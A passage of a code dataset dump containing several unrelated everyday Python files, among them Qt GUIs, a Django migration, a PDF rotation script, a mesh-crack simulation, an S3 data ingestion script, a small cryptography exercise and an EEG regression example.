Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom Box import MainWgt\nfrom PySide import QtGui\n#from mainmenu import MainMenu\n\nimport os\nimport ConfigParser\n\nclass ApiClient(QtGui.QWidget):\n def __init__(self, app, tabs):\n super(ApiClient, self).__init__()\n self.app = app\n self._parent = tabs\n\n self.VarsGui = tabs.VarsGui\n try:\n self.Version = self.VarsGui.Get('cl_ver')\n except:\n self.Version = ''\n\n try:\n self.Name = self.VarsGui.Get('cl_name')\n except:\n self.Name = 'calculate-console'\n\n # Initialization of system variables\n self.VarsApi = self.VarsGui\n\n # Initialization other variables\n self.homePath = self.VarsGui.Get('ur_home_path')\n path_to_cert = self.VarsGui.Get('core.cl_client_cert_dir')\n self.path_to_cert = path_to_cert.replace(\"~\",self.homePath)\n\n # other variable \n self.default_host = 'localhost'\n self.default_port = '8888'\n\n self.client = None\n self.host_name = None\n\n self.res_layout = QtGui.QVBoxLayout(self)\n\n self.process_dict = {}\n self.param_objects = {}\n self.method_names = {}\n\n # read from users configuratuon file\n user_config = self.VarsGui.Get('cl_gui_config_path')\n self.user_config = user_config.replace(\"~\",self.homePath)\n if not os.path.isfile(self.user_config):\n self.create_user_config()\n self.read_user_config(self.user_config)\n\n # create default certificates directories\n if not os.path.exists (self.path_to_cert):\n os.mkdir(self.path_to_cert)\n\n self.MainWidget = MainWgt(self) \n # Translate top menu\n self.MainWidget.topmenu.refresh()\n\n def create_user_config(self):\n if not os.path.exists ('~/.calculate'.replace(\"~\",self.homePath)):\n os.mkdir('~/.calculate'.replace(\"~\",self.homePath))\n if not os.path.exists ('~/.calculate/console_gui'.replace \\\n (\"~\",self.homePath)):\n os.mkdir('~/.calculate/console_gui'.replace(\"~\",self.homePath))\n if not os.path.isfile (self.user_config):\n cfg_text = '[other]\\n\\n'\\\n '[gui]\\n'\n fp = open(self.user_config, 'w')\n fp.write(cfg_text)\n fp.close()\n\n def read_user_config(self, config):\n config = ConfigParser.ConfigParser()\n config.read(self.user_config)\n\n ###################### other ##########################\n import gettext\n # get language\n try:\n self.lang = config.get('other', 'lang')\n except (ConfigParser.NoOptionError, ConfigParser.NoSectionError):\n self.lang = ''\n if hasattr (self._parent, 'lang'):\n if self._parent.lang:\n self.lang = self._parent.lang\n\n try:\n lang = gettext.translation('cl_consolegui3', languages=[self.lang])\n except IOError:\n try:\n self.lang = gettext.locale.getdefaultlocale()[0][:2]\n lang = gettext.translation('cl_consolegui3', \\\n languages=[self.lang])\n except (TypeError,IOError) as e:\n self.lang = 'en'\n lang = gettext.translation('cl_consolegui3',fallback=True)\n\n try:\n lang.install(unicode=True)\n except UnboundLocalError:\n pass\n try:\n # Translate top menu\n self.MainWidget.topmenu.refresh()\n except AttributeError:\n pass\n\n self._parent.translate(self.lang)\n\n # get path to certificates\n try:\n path_to_cert = config.get('other', 'path_to_cert')\n self.path_to_cert = path_to_cert.replace(\"~\",self.homePath)\n except (ConfigParser.NoOptionError, ConfigParser.NoSectionError):\n pass\n if self.path_to_cert.lower() == 'no':\n path_to_cert = self.VarsGui.Get('core.cl_client_cert_dir')\n self.path_to_cert = path_to_cert.replace(\"~\",self.homePath)\n\n try:\n timeout = config.get('other', 'timeout')\n self.timeout = int(timeout)\n except (ConfigParser.NoOptionError, ConfigParser.NoSectionError, \\\n ValueError):\n self.timeout = 5\n\n ###################### gui ##########################\n try:\n height_image = config.get('gui', 'height_image')\n self.height_image = int(height_image)\n if self.height_image < 0 or self.height_image > 512:\n self.height_image = 192\n except (ConfigParser.NoOptionError, ConfigParser.NoSectionError, \\\n ValueError):\n self.height_image = 192\n\n try:\n expert = config.get('gui', 'expert')\n self.expert = int(expert)\n except (ConfigParser.NoOptionError, ConfigParser.NoSectionError, \\\n ValueError):\n self.expert = 1\n\n try:\n count_row = config.get('gui', 'count_row')\n self.count_row_res_table = int(count_row)\n except (ConfigParser.NoOptionError, ConfigParser.NoSectionError, \\\n ValueError):\n self.count_row_res_table = 20\n","sub_path":"consolegui/application/MainClass.py","file_name":"MainClass.py","file_ext":"py","file_size_in_byte":5948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"533635349","text":"import os\nimport pickle\n\nfrom PyQt5 import QtGui, QtCore, QtWidgets\nimport PyQt5\nimport vispy\n\nfrom polyglotdb.config import BASE_DIR, CorpusConfig\n\nfrom speechtools.corpus import CorpusContext\n\nfrom .widgets import (ViewWidget, HelpWidget, DiscourseWidget, QueryWidget, CollapsibleWidgetPair,\n DetailsWidget, ConnectWidget)\n\nfrom .helper import get_system_font_height\n\nsct_config_pickle_path = os.path.join(BASE_DIR, 'config')\n\nclass LeftPane(QtWidgets.QWidget):\n def __init__(self):\n super(LeftPane, self).__init__()\n\n self.viewWidget = ViewWidget()\n self.queryWidget = QueryWidget()\n\n splitter = CollapsibleWidgetPair(QtCore.Qt.Vertical, self.queryWidget, self.viewWidget, collapsible = 0)\n\n layout = QtWidgets.QVBoxLayout()\n layout.addWidget(splitter)\n self.setLayout(layout)\n\n def updateConfig(self, config):\n self.viewWidget.updateConfig(config)\n self.queryWidget.updateConfig(config)\n\n def changeDiscourse(self, discourse):\n self.viewWidget.changeDiscourse(discourse)\n\nclass RightPane(QtWidgets.QWidget):\n configUpdated = QtCore.pyqtSignal(object)\n discourseChanged = QtCore.pyqtSignal(str)\n def __init__(self):\n super(RightPane, self).__init__()\n\n\n if os.path.exists(sct_config_pickle_path):\n with open(sct_config_pickle_path, 'rb') as f:\n config = pickle.load(f)\n else:\n config = None\n self.connectWidget = ConnectWidget(config = config)\n self.connectWidget.configChanged.connect(self.configUpdated.emit)\n self.discourseWidget = DiscourseWidget()\n self.configUpdated.connect(self.discourseWidget.updateConfig)\n self.discourseWidget.discourseChanged.connect(self.discourseChanged.emit)\n self.helpWidget = HelpWidget()\n self.detailsWidget = DetailsWidget()\n upper = QtWidgets.QTabWidget()\n\n upper.addTab(self.connectWidget,'Connection')\n upper.addTab(self.discourseWidget, 'Discourses')\n\n lower = QtWidgets.QTabWidget()\n\n lower.addTab(self.detailsWidget, 'Details')\n\n lower.addTab(self.helpWidget, 'Help')\n\n splitter = CollapsibleWidgetPair(QtCore.Qt.Vertical, upper, lower)\n\n layout = QtWidgets.QVBoxLayout()\n layout.addWidget(splitter)\n self.setLayout(layout)\n\nclass MainWindow(QtWidgets.QMainWindow):\n configUpdated = QtCore.pyqtSignal(object)\n def __init__(self, app):\n super(MainWindow, self).__init__()\n vispy.sys_info(os.path.join(BASE_DIR, 'vispy.info'), overwrite = True)\n self.corpusConfig = None\n #self.connectWidget = ConnectWidget(self)\n #self.connectWidget.configChanged.connect(self.updateConfig)\n #self.viewWidget = ViewWidget(self)\n #self.importWidget = ImportWidget(self)\n #self.exportWidget = ExportWidget(self)\n\n self.leftPane = LeftPane()\n self.configUpdated.connect(self.leftPane.updateConfig)\n self.leftPane.viewWidget.connectionIssues.connect(self.havingConnectionIssues)\n\n self.rightPane = RightPane()\n self.rightPane.configUpdated.connect(self.updateConfig)\n self.rightPane.discourseChanged.connect(self.leftPane.changeDiscourse)\n\n self.leftPane.queryWidget.viewRequested.connect(self.rightPane.discourseWidget.changeView)\n self.rightPane.discourseWidget.viewRequested.connect(self.leftPane.viewWidget.discourseWidget.changeView)\n self.leftPane.viewWidget.discourseWidget.nextRequested.connect(self.leftPane.queryWidget.requestNext)\n self.leftPane.viewWidget.discourseWidget.previousRequested.connect(self.leftPane.queryWidget.requestPrevious)\n self.leftPane.viewWidget.discourseWidget.markedAsAnnotated.connect(self.leftPane.queryWidget.markAnnotated)\n self.leftPane.viewWidget.discourseWidget.selectionChanged.connect(self.rightPane.detailsWidget.showDetails)\n self.mainWidget = CollapsibleWidgetPair(QtCore.Qt.Horizontal, self.leftPane,self.rightPane)\n\n #self.mainWidget.setStretchFactor(0, 1)\n\n\n self.wrapper = QtWidgets.QWidget()\n layout = QtWidgets.QHBoxLayout()\n layout.addWidget(self.mainWidget)\n self.wrapper.setLayout(layout)\n self.setCentralWidget(self.wrapper)\n\n self.status = QtWidgets.QLabel()\n self.statusBar().addWidget(self.status, stretch=1)\n self.connectionStatus = QtWidgets.QLabel()\n self.statusBar().addWidget(self.connectionStatus)\n self.setWindowTitle(\"Speech Corpus Tools\")\n self.createActions()\n self.createMenus()\n\n self.updateStatus()\n\n if os.path.exists(sct_config_pickle_path):\n self.rightPane.connectWidget.connectToServer(ignore=True)\n\n def havingConnectionIssues(self):\n size = get_system_font_height()\n self.connectionStatus.setPixmap(QtWidgets.qApp.style().standardIcon(QtWidgets.QStyle.SP_MessageBoxWarning).pixmap(size, size))\n self.connectionStatus.setToolTip('Having connection issues...')\n\n def updateConfig(self, config):\n self.corpusConfig = config\n self.updateStatus()\n self.configUpdated.emit(self.corpusConfig)\n\n def updateStatus(self):\n if self.corpusConfig is None:\n self.status.setText('No connection')\n size = get_system_font_height()\n self.connectionStatus.setPixmap(QtWidgets.qApp.style().standardIcon(QtWidgets.QStyle.SP_MessageBoxCritical).pixmap(size, size))\n self.connectionStatus.setToolTip('No connection')\n\n else:\n c_name = self.corpusConfig.corpus_name\n if not c_name:\n c_name = 'No corpus selected'\n self.status.setText('Connected to {} ({})'.format(self.corpusConfig.graph_hostname, c_name))\n size = get_system_font_height()\n self.connectionStatus.setPixmap(QtWidgets.qApp.style().standardIcon(QtWidgets.QStyle.SP_DialogApplyButton).pixmap(size, size))\n self.connectionStatus.setToolTip('Connected!')\n\n def closeEvent(self, event):\n if self.corpusConfig is not None:\n with open(sct_config_pickle_path, 'wb') as f:\n pickle.dump(self.corpusConfig, f)\n super(MainWindow, self).closeEvent(event)\n\n def createActions(self):\n\n self.connectAct = QtWidgets.QAction( \"Connect to corpus...\",\n self,\n statusTip=\"Connect to a corpus\", triggered=self.connect)\n\n self.importAct = QtWidgets.QAction( \"Import a corpus...\",\n self,\n statusTip=\"Import a corpus\", triggered=self.importCorpus)\n\n self.specifyAct = QtWidgets.QAction( \"Add phonological features...\",\n self,\n statusTip=\"Specify a corpus\", triggered=self.specifyCorpus)\n\n self.exportAct = QtWidgets.QAction( \"Export a corpus...\",\n self,\n statusTip=\"Export a corpus\", triggered=self.exportCorpus)\n\n def createMenus(self):\n self.corpusMenu = self.menuBar().addMenu(\"Corpus\")\n self.corpusMenu.addAction(self.connectAct)\n\n self.corpusMenu.addSeparator()\n self.corpusMenu.addAction(self.importAct)\n self.corpusMenu.addAction(self.specifyAct)\n self.corpusMenu.addAction(self.exportAct)\n\n def connect(self):\n pass\n\n def importCorpus(self):\n pass\n\n def specifyCorpus(self):\n pass\n\n def exportCorpus(self):\n pass\n","sub_path":"speechtools/gui/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"85430521","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('invoice', '0006_invoiceaddress_payment_id'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='invoiceaddress',\n name='payment_id',\n ),\n migrations.AddField(\n model_name='invoice',\n name='payment_id',\n field=models.CharField(help_text=b'ID of the payment process - blocks editing of items', max_length=255, null=True, verbose_name=b'payment id', blank=True),\n ),\n ]\n","sub_path":"invoice/migrations/0007_auto_20150618_1906.py","file_name":"0007_auto_20150618_1906.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"510793884","text":"#!/usr/bin/env python\n\nimport gtk\nimport os\nimport gettext\nimport locale\n\nlocale.setlocale(locale.LC_ALL, '')\nloc = locale.getlocale()\nfilename = os.path.abspath(os.path.split(__file__)[0]) + \"/locale/%s/LC_MESSAGES/PDFManager.mo\" % locale.getlocale()[0][0:2]\n\ntry:\n\ttrans = gettext.GNUTranslations(open( filename, \"rb\" ) )\nexcept IOError:\n\ttrans = gettext.NullTranslations()\n\ntrans.install()\n\ndialogO = gtk.FileChooserDialog(_(\"Select your PDF...\"),\n None,\n gtk.FILE_CHOOSER_ACTION_OPEN,\n (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL,\n gtk.STOCK_OPEN, gtk.RESPONSE_OK))\ndialogO.set_default_response(gtk.RESPONSE_OK)\ndialogO.set_select_multiple(True)\n\nfilter = gtk.FileFilter()\nfilter.set_name(_(\"PDF Files\"))\nfilter.add_pattern(\"*.pdf\")\ndialogO.add_filter(filter)\n\nif dialogO.run() == gtk.RESPONSE_OK:\n\tfor f in dialogO.get_filenames():\n\t\tos.system(\"pdftk \\\"\" + f + \"\\\" cat 1-endleft output \\\"\" + f + \"_t\\\"\")\n\t\tos.rename(f + \"_t\", f)\ndialogO.destroy()\n\n","sub_path":"PDFManager@cinnamon.org/files/PDFManager@cinnamon.org/rotate-left.py","file_name":"rotate-left.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"158395153","text":"import unittest\n\ndef urlify(str):\n return str.replace(\" \", \"%20\")\n\nclass UrlifyTest(unittest.TestCase):\n \n def test_urlify(self):\n testStr = urlify(\"test case\")\n s = \"test%20case\"\n self.assertEqual(testStr, s)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Python/Practice/URLify.py","file_name":"URLify.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"242327099","text":"import random\r\n\r\ndef MillerRabin(n):\r\n if n!=int(n):\r\n return False\r\n n=int(n)\r\n #Miller-Rabin test for prime\r\n if n==0 or n==1 or n==4 or n==6 or n==8 or n==9:\r\n return False \r\n if n==2 or n==3 or n==5 or n==7:\r\n return True\r\n s = 0\r\n d = n-1\r\n while d%2==0:\r\n d>>=1\r\n s+=1\r\n assert(2**s * d == n-1)\r\n \r\n def trial_composite(a):\r\n if pow(a, d, n) == 1:\r\n return False\r\n for i in range(s):\r\n if pow(a, 2**i * d, n) == n-1:\r\n return False\r\n return True \r\n for i in range(8):#number of trials \r\n a = random.randrange(2, n)\r\n if trial_composite(a):\r\n return False \r\n return True \r\ndef mod(a,p): #приведение по модулю\r\n mod = (a % p + p) % p\r\n return mod\r\n\r\ndef fast_pow(a, w, n):\r\n s = 1\r\n v = w\r\n c = a\r\n while not v == 0:\r\n if mod(v,2) == 1:\r\n s = mod(s*c,n)\r\n v = (v-1)//2\r\n c = mod(c**2,n)\r\n else:\r\n v = v//2\r\n c = mod(c*c,n)\r\n return s\r\n\r\nlen = int(input(\"Enter length bits of p, q -> \"))\r\nl_s=int(len/12.8)\r\ns_p=random.randint((2**l_s)/2,(2**l_s)-1)\r\ns_q=random.randint((2**l_s)/2,(2**l_s)-1)\r\nwhile not MillerRabin(s_p) :\r\n s_p=random.randint((2**l_s)/2,(2**l_s)-1)\r\ni=1\r\np=4\r\nq=4\r\ndif =int(len-l_s)\r\nwhile not MillerRabin(p) : #\r\n p=s_p*2\r\n r_p=random.randint((2**dif)//2,(2**dif)-1) #r- нечетное число \r\n p=int(p*r_p)+1 # p-1=2*s*r_p\r\n i+=1\r\nwhile not MillerRabin(q):\r\n q=s_q*2\r\n r_q=random.randint((2**dif)//2,(2**dif)-1) #r- нечетное число \r\n q=int(q*r_q)+1 # q-1=2*s*r_q\r\n i+=1\r\nprint (\"p=\",p)\r\nprint(\"q=\",q)\r\n\r\n\r\nn = p * q\r\ns = random.randint(1, n - 1) # private key\r\ny = (s**2) % n # public key\r\nz = 20 # number of rounds\r\nres = []\r\nfor i in range(1, z + 1):\r\n print('--------------------')\r\n print('Round ', i)\r\n # prover:\r\n k = random.randint(1, n - 1)\r\n u = (k**2) % n\r\n print('The prover sends a fixator to the verifier: ', format(u, 'x'))\r\n # verifier:\r\n r = random.randint(0, 1)\r\n print('Verifier sent r =', r)\r\n # prover:\r\n w = (k * (s**r)) % n\r\n k = 0\r\n print('Prover sends'\r\n 'the value to the verifier for verification: ', format(w, 'x'))\r\n # vefifier\r\n if ((w**2) % n == (u * y**r) % n):\r\n res.append(1)\r\n else:\r\n res.append(0)\r\nprint('--------------------')\r\nif res.count(0) != 0:\r\n print('Check failed')\r\nelse:\r\n print('Check ok')\r\n\r\nstr = str(input())\r\n","sub_path":"CP_lab4.py","file_name":"CP_lab4.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"550730253","text":"import numpy as np\nimport marker as m\nimport pymesh\n\nclass CrackMesh:\n def __init__(self, startLocation):\n self.markers = [] \n self.numMarkers = 120\n\n direction = np.array([1.0, 0.0, 0.0])\n \n # Rotate the direction of the vector relative to the initial number of markers being used\n theta = np.radians(360. / self.numMarkers)\n self.finishedMarkers = 0\n \n for i in range(self.numMarkers):\n marker = m.Marker(startLocation, direction)\n self.markers.append(marker)\n \n c, s = np.cos(theta), np.sin(theta)\n R = np.array(((c, 0., s), (0., 1., 0.), (-s, 0., c)))\n \n direction = np.matmul(R, direction)\n \n def propagateCrackFront(self, mesh, lowToughnessAreas, initCrack):\n for marker in self.markers:\n # Only propagate markers that have not intersected with the mesh\n if not marker.finished:\n marker.propagate(lowToughnessAreas, initCrack)\n iPoint, intersection = self.checkIntersection(marker, mesh)\n \n if intersection:\n marker.finished = True\n self.finishedMarkers += 1\n marker.currLocation = iPoint\n \n self.smoothMesh()\n \n # Averages out the y-coordinates of adjacent markers, in order to mitigate the randomness and smooth the mesh\n # Finds the previous two markers and the next two markers, and averages the y-coordinates of all 5 markers\n def smoothMesh(self):\n yVals = []\n for i in range(3):\n for j in range(len(self.markers)):\n if j == 0:\n backIndex = self.numMarkers - 2\n elif j == 1:\n backIndex = self.numMarkers - 1\n else:\n backIndex = j - 2\n \n yVals.append(self.markers[backIndex].currLocation[1])\n yVals.append(self.markers[(backIndex + 1) % self.numMarkers].currLocation[1])\n yVals.append(self.markers[(j + 1) % self.numMarkers].currLocation[1])\n yVals.append(self.markers[(j + 2) % self.numMarkers].currLocation[1])\n \n markerToSmooth = self.markers[j]\n yVals.append(markerToSmooth.currLocation[1])\n\n \n markerToSmooth.currLocation[1] = sum(yVals) / len(yVals)\n \n def createCrackMesh(self):\n vertices = []\n faces = []\n offset = 0.05\n # Use adjacent markers to create triangles\n for i in range(self.numMarkers):\n marker = self.markers[i]\n nextMarker = self.markers[(i + 1) % self.numMarkers]\n \n v1 = marker.currLocation\n v2 = marker.prevLocation\n v3 = nextMarker.currLocation\n v4 = nextMarker.prevLocation\n \n v5 = np.copy(marker.currLocation)\n v5[1] -= offset\n \n v6 = np.copy(marker.prevLocation)\n v6[1] -= offset\n \n v7 = np.copy(nextMarker.currLocation)\n v7[1] -= offset\n \n v8 = np.copy(nextMarker.prevLocation)\n v8[1] -= offset\n \n i1 = self.findIndexOfVertex(vertices, v1)\n \n if i1 == -1:\n i1 = len(vertices)\n vertices.append(v1)\n \n i2 = self.findIndexOfVertex(vertices, v2)\n \n if i2 == -1:\n i2 = len(vertices)\n vertices.append(v2)\n \n i3 = self.findIndexOfVertex(vertices, v3)\n \n if i3 == -1:\n i3 = len(vertices)\n vertices.append(v3)\n \n i4 = self.findIndexOfVertex(vertices, v4)\n \n if i4 == -1:\n i4 = len(vertices)\n vertices.append(v4)\n \n i5 = self.findIndexOfVertex(vertices, v5)\n \n if i5 == -1:\n i5 = len(vertices)\n vertices.append(v5)\n \n i6 = self.findIndexOfVertex(vertices, v6)\n \n if i6 == -1:\n i6 = len(vertices)\n vertices.append(v6)\n \n i7 = self.findIndexOfVertex(vertices, v7)\n \n if i7 == -1:\n i7 = len(vertices)\n vertices.append(v7)\n \n i8 = self.findIndexOfVertex(vertices, v8)\n \n if i8 == -1:\n i8 = len(vertices)\n vertices.append(v8)\n \n f1 = [i4, i3, i2]\n f2 = [i3, i1, i2]\n \n f3 = [i7, i8, i6]\n f4 = [i5, i7, i6]\n \n f5 = [i1, i5, i7]\n f6 = [i1, i7, i3]\n \n f7 = [i4, i8, i6]\n f8 = [i2, i4, i6]\n \n f9 = [i5, i1, i6]\n f10 = [i2, i6, i1]\n \n f11 = [i3, i7, i4]\n f12 = [i7, i8, i4]\n \n faces.append(f1)\n faces.append(f2)\n \n faces.append(f3)\n faces.append(f4)\n \n faces.append(f5)\n faces.append(f6)\n \n faces.append(f7)\n faces.append(f8)\n \n faces.append(f9)\n faces.append(f10)\n \n faces.append(f11)\n faces.append(f12)\n \n return vertices, faces\n \n def findIndexOfVertex(self, vertices, vertex):\n index = -1\n for i in range(len(vertices)):\n if np.array_equal(vertices[i], vertex):\n index = i\n \n return index\n \n # Neither PyMesh nor Pyassimp provide a line-mesh intersection method, so have to implement our own\n # Based on the algorithm found at http://geomalgorithms.com/a06-_intersect-2.html#intersect3D_RayTriangle()\n def checkIntersection(self, marker, mesh):\n SMALL_NUM = 0.000001 # Tolerance for floats\n isectPoint = np.zeros(3)\n intersection = False\n \n p0 = marker.prevLocation\n p1 = marker.currLocation\n \n # Segment direction vector\n dir = p1 - p0\n \n for face in mesh.faces:\n v0 = mesh.vertices[face[0]]\n v1 = mesh.vertices[face[1]]\n v2 = mesh.vertices[face[2]]\n \n # Get triangle edge vectors and plane normal\n u = v1 - v0\n v = v2 - v0\n n = np.cross(u, v)\n if np.count_nonzero(n) == 0: # Triangle is degenerate\n continue # Do not deal with this case\n\n w0 = p0 - v0\n a = -np.dot(n,w0)\n b = np.dot(n,dir)\n \n if abs(b) < SMALL_NUM: # Ray is parallel to triangle plane or lies in the plane\n continue\n\n # Get intersect point of ray with triangle plane\n r = a / b;\n \n if r < 0.0: # Triangle is behind the segment's p0 if (r < 0.0)\n continue # Therefore no intersection\n elif r > 1.0: # For a segment, also test if (r > 1.0)\n continue # Triangle is past segment's p1 => no intersect\n \n isectPoint = p0 + (r * dir) # Intersect point of segment and plane\n \n # Is isectPoint inside the triangle?\n uu = np.dot(u,u);\n uv = np.dot(u,v);\n vv = np.dot(v,v);\n w = isectPoint - v0;\n wu = np.dot(w,u);\n wv = np.dot(w,v);\n D = uv * uv - uu * vv;\n \n # get and test parametric coords\n s = (uv * wv - vv * wu) / D;\n if (s < 0.0 or s > 1.0): # isectPoint is outside T?\n continue\n \n t = (uv * wu - uu * wv) / D;\n if (t < 0.0 or (s + t) > 1.0): # isectPoint is outside T?\n continue\n \n intersection = True\n break\n \n return isectPoint, intersection","sub_path":"crackMesh.py","file_name":"crackMesh.py","file_ext":"py","file_size_in_byte":8423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"166910997","text":"import urllib\nimport json\nimport csv\nimport http\nimport io\nfrom urllib.request import urlopen\nfrom boto.s3.connection import S3Connection\nfrom boto.s3.key import Key\nimport pandas as pd\nimport time\nimport arrow\nfrom datetime import datetime,date,timedelta \nimport requests\nimport logging\nimport time\n\nlog_file_name = \"logger\" + \".log\"\nlogger = logging.getLogger(log_file_name)\nhdlr = logging.FileHandler(log_file_name)\nformatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\nhdlr.setFormatter(formatter)\nlogger.addHandler(hdlr) \nlogger.setLevel(logging.INFO)\nbucket_name = \"sumedhprithvijsss\"\ninitial_file = \"TX_170617_WBAN_13910.csv\"\ninitial_local = \"initial.csv\"\nfile_name = \"\"\nname_list = []\nwith open('config.json') as data_file: \n data1 = json.load(data_file)\nlinks = data1['links']['array']\n\npresent_link = data1['presentDataLinkToBeAdded'] \nconn = S3Connection(data1['AWSAccess'], data1['AWSSecret'])\nprint(\"Established connection to S3\")\nlogger.info(\"Established connection to S3\")\nseq = (data1['state'],arrow.now().format('DDMMYY'),data1['stationID'])\nfile_name = \"_\".join(seq)\nfile_name = file_name + '.csv'\ndf = []\nnonexistent = conn.lookup(bucket_name)\n\n\ndef initialize_bucket():\n if nonexistent is None:\n logger.info(\"creating new bucket with name \" + bucket_name)\n conn.create_bucket(bucket_name)\n existingbucket = conn.get_bucket(bucket_name)\n initial_data = Key(existingbucket)\n initial_data.key = initial_file\n for url in links:\n response = urlopen(url) \n html = response.read()\n with open(initial_local, 'ab') as f:\n f.write(html) \n initial_data.set_contents_from_filename(initial_local)\n responsenew = urlopen(present_link) \n htmlnew = responsenew.read()\n with open(file_name, 'ab') as f:\n f.write(htmlnew)\n print(\"Read new file from \"+present_link+\" and copied to local\") \n logger.info(\"Read new file from \"+present_link+\" and copied to local\") \n df3 = pd.read_csv(initial_local,low_memory=False,header = 0)\n df4 = pd.read_csv(file_name,low_memory=False,header = 0)\n frames2 = [df3, df4]\n result2 = pd.concat(frames2,join='outer')\n result2.to_csv(file_name)\n new_link_data = Key(existingbucket)\n new_link_data.key = file_name \n new_link_data.set_contents_from_filename(file_name)\n else:\n existingbucket = conn.get_bucket(bucket_name)\n print(\"Bucket exists with name \" + bucket_name)\n logger.info(\"Bucket exists with name \" + bucket_name)\n return existingbucket\n\n\nexistingbucket = initialize_bucket()\nfile_exists = False \nfor key in existingbucket.list():\n if key.name == file_name:\n file_exists = True\n print(\"Todays File is created or already present \")\n logger.info(\"Todays File is created or already present\")\n name_list.append((key.name)[3:9])\n\n\nnow = datetime.now()\nyoungest = max(dt for dt in name_list if dt < str(now))\n\ndef get_new_file(new_file_link):\n responsenew = urlopen(new_file_link) \n htmlnew = responsenew.read()\n with open(file_name, 'ab') as f:\n f.write(htmlnew)\n print(\"Read new file from \"+new_file_link+\" and copied to local\") \n logger.info(\"Read new file from \"+new_file_link+\" and copied to local\") \n return \n\ndef create_and_append_file():\n for key in existingbucket.list():\n if (key.name)[3:9] == youngest:\n print(key.name)\n print(file_name)\n new_data = Key(existingbucket)\n new_data.key = key.name \n new_data.set_contents_from_filename(key.name) \n df1 = pd.read_csv(new_data,low_memory=False,header = 0)\n df2 = pd.read_csv(file_name,low_memory=False,header = 0)\n frames1 = [df1, df2]\n result1 = pd.concat(frames1,join='outer')\n result1.to_csv(file_name)\n print(\"Appended data from file -\" + key.name + \" to create new file with name - \" + file_name)\n logger.info(\"Appended data from file -\" + key.name + \" to create new file with name - \" + file_name)\n subsequent_data = Key(existingbucket)\n subsequent_data.key = file_name \n subsequent_data.set_contents_from_filename(file_name)\n print(\"Pushed file to S3\")\n logger.info(\"Pushed file to S3\") \n return\n\n \n\n\nif not file_exists:\n get_new_file(present_link)\n create_and_append_file()","sub_path":"AdvancesinDataScience/Docker1/Assignment1/dataIngestion.py","file_name":"dataIngestion.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"610161520","text":"#Example of Support Vector Machines for EEG data classification + scoring.\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.svm import SVR\nimport matplotlib.pyplot as plt\nfrom sklearn import cross_validation\n\n\nfilename = 'datasets/eeg_data.csv'\ndf = pd.read_csv(filename)\n#print(df)\n\nsignal = df['F8']\nprint('Voltage')\nprint(signal)\n\n#Manipulating the .csv data to train the model\n#Converting the Dataframes to arrays.\noutputmatrix = df['F8'].as_matrix()\noutputmatrix = np.reshape(outputmatrix,(len(outputmatrix), 1)) #converting to matrix of n X 1\noutputmatrix = np.ravel(outputmatrix)\nprint('Output matrix')\nprint(outputmatrix)\n\na = np.empty(len(outputmatrix))\nfor i in range(len(outputmatrix)):\n a[i] = i\n\na = a.reshape(-1, 1) \nprint('X')\nprint(a)\n\n#asign input X and output y\nX = a\ny = outputmatrix\n\n#Generating the model\n# defining the support vector regression models\nsvr_rbf = SVR(kernel= 'rbf', C= 1e3, gamma= 0.1)\n\n# fitting the data points in the models\nmodel = svr_rbf.fit(X,y)\n\n#Evaluating model performance\nscores = cross_validation.cross_val_score(svr_rbf, X, y, cv=5)\nprint('Evaluating model performance')\nprint(scores)\n\n\n#Plotting F8 signals and estimation in the same plot\nfig = plt.figure();\nax = fig.add_subplot(111);\nax.plot(X, svr_rbf.predict(X), color= 'red', label= 'RBF model');\nax.plot(X, df['F8'], color = 'black', label = 'F8');\nplt.scatter(X, y, color= 'black', label= 'Data') # plotting the initial datapoints \nax.set_title('F8 Signals and estimator')\nax.set_xlabel('Counter')\nax.set_ylabel('uV')\nax.legend(loc='lower right');\nplt.show()\n","sub_path":"ej16.py","file_name":"ej16.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"44840087","text":"from tkinter import Label, Button\n\nfrom network import MyNetwork\nfrom images import show_image\n\n\nclass MLGUI:\n def __init__(self, master):\n self.master = master\n master.title(\"My ML GUI\")\n\n self.network = MyNetwork()\n self.label = Label(master, text=\"This is ML GUI\")\n self.label.pack()\n\n self.load_button = Button(master, text=\"Load Data\", command=self.load)\n self.load_button.pack()\n\n self.learn_button = Button(master, text=\"Teach Network\", command=self.teach)\n self.learn_button.pack()\n\n self.test_button = Button(master, text=\"Test Network\", command=self.test)\n self.test_button.pack()\n\n self.close_button = Button(master, text=\"Close\", command=master.quit)\n self.close_button.pack()\n\n def load(self):\n self.network.load_data()\n print(\"Im loading\")\n\n def teach(self):\n print(\"Im teaching\")\n self.network.learn()\n\n def test(self):\n print(\"Im testing\")\n predictions = self.network.predict()\n 